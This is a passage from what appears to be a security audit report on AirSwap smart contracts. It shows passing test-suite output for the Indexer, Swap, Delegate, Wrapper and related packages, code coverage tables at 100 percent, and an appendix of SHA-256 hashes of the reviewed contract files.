an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol 